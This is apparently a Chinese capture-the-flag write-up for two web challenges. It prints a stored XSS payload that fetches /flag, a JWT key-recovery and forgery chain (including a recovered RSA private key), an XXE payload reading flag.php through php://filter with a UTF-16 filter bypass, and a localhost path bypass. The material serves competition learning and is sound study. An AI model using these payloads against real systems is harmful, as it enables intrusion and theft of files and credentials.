0x01
感觉感觉不出来什么感觉
0x02
签到
直接交flag
web02
首先F12看到是Werkzeug/3.0.3 Python/3.8.19
然后就会往ssti去靠了,随便登录之后发现没啥区别,会自动生成一个哈希,然后用payloadallthings
进行fuzz
,进行回显查看,发现还是不行
查看源代码发现是直接插入的
1 2 3 4 5 6 7 8 9 10 11 12
| </div> </form> <br> <br> <h3>无人机 ToDo List</h3> <div>1. 早上起飞监控</div> <br> <div>2. 中午加班监控</div> <br> <div>3. 晚上回收并进行复盘</div> <br>2<br> </div>
|
1
| <script>alert(1)</script>
|
成功弹窗
然后有个/flag
路由,这里我们是将路由给写到当前页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST /content/f2260ea5a2a5967f8e4a7e80322363c7 HTTP/1.1 Host: 0192d5e248dc7e5b87ec4d98a1a66d68.8fwa.dg09.ciihw.cn:46739 Content-Length: 273 Cache-Control: max-age=0 Origin: http://0192d5e248dc7e5b87ec4d98a1a66d68.8fwa.dg09.ciihw.cn:46739 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://0192d5e248dc7e5b87ec4d98a1a66d68.8fwa.dg09.ciihw.cn:46739/content/f2260ea5a2a5967f8e4a7e80322363c7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
content=<script>
fetch('/flag').then(response => response.text()).then(data => { fetch('/content/f2260ea5a2a5967f8e4a7e80322363c7',{ method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:"content=1"%2bdata }) }) </script>
|
然后提交任务就可以了
web01
先爆破弱密码发现进不去,随便搞个登录
发现是有两个cookie
1 2 3
| token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.DUgNOi9fTFZBluB4BndvCRSOJENSgXCrOt9_chJcDPchWQKI9CtiwXZcBUAbMS_mFaNEo9cJbelUs3PtTzrCvJ61B65n6oWOTOMF8OXbAP1JzFy8pJZ4Qxn0J8aJ-dSzSmWLbz_7G08w289n-y5P38OPKFH4_j7faOKvZ8-r8QHI
session=eyJjc3JmX3Rva2VuIjoiNmJlY2I1YmU1NDQwYzNkZjczOThkM2RjYWQwOTM3NzU3YzU1NDg5NSIsInJvbGUiOiJndWVzdCJ9.ZyCL-w.UEET88WyLd9SQuS_-4oflbTpr04
|
先爆破jwt
看看,jwt
是有RSA的公钥的你敢信?拿到两个账号的jwt
1
| https://github.com/silentsignal/rsa_sign2n
|
先利用这个脚本爆破两个jwt
的公钥
1 2 3 4 5 6 7
| python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI 6IjMifQ.GwPSBCVSuWrCQ0KYKv3bAaC5SaklZdNDT23VfqbplgMs8wepPSdy1FA9brNOvVefGjM rjrx-nB8w957_BvcBY1kmKbyKY8ujriLk1TEPr5shT3pYX6N2d_AA9Uk9IwgsxQpUir1fIXRZaJ Bk-UFlP4CYrhCfbV_5b-GTux_vuzst eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2V ybmFtZSI6IjQifQ.I_VZYx4YtiY84XdzQRVTA_WvxGfrHj-E7D-WGi810q3i_Ev4l3ZqHZK6cy1 _fkvCiV5oA-MJoO_mMidPKzQbPv512rm9g6yA-6OM31fU9-dBaHiNBKiN4y4B2f_qJ6CScYY-4x NuSJ6QsjRI0hdwZVuFlkUbXGTeObBpZPo8cdd9
|
然后得到公钥
1 2 3 4 5 6 7
| root@7b3c6c82fc07:/app# cat 24a550c7c2ce0ff2_65537_x509.pem -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502 ZMSv0AxMgN5UMh9FCwIDAQAB -----END PUBLIC KEY-----
|
再用工具爆破私钥
1 2 3
| https://github.com/RsaCtfTool/RsaCtfTool
python3 RsaCtfTool.py --publickey ./key.pub --private
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| -----BEGIN RSA PRIVATE KEY----- MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i 6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ jqta99E= -----END RSA PRIVATE KEY-----
|
当然了 脚本厨子什么的也可以,我觉得这个网站是挺好用的
1
| https://www.bejson.com/jwt/
|
然后进去玩game
,表情包执行命令
flag
,是一个文件夹
读到key
1
| 36f8efbea152e50b23290e0ed707b4b0
|
然后伪造session,到了这里终于是快结束了,每一步都很艰难,发现可以上传文件这里上传一个xml
,来打xxe
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe[ <!ELMENT name ANY> <!ENTITY xxe SYSTEM"php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php">]> <root> <name> &xxe; </name> </root>
|
然后这里还是被过滤了的,需要utf-16
编码绕过一下
1
| cat 1.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
|
上传之后走路径访问攻击的时候需要绕过一下本地
1 2
| path=www.testctf.com@localhost/&user_input=/var/www/html/uploads/ad3e78b142e723460655 d9a2154b7d95
|
0x03 小结
打通的题目肯定不止这些,但是我一个web手,其他的也不想写,最好笑的是最后打不动了,眼睁睁看着自己从97->165,大家都顿悟上了
web1的话我并没有打通甚至算jwt都没有过,不过赛后很感谢朋友们给的wp嘻嘻
想要我其他wp的,可以加我好友发你!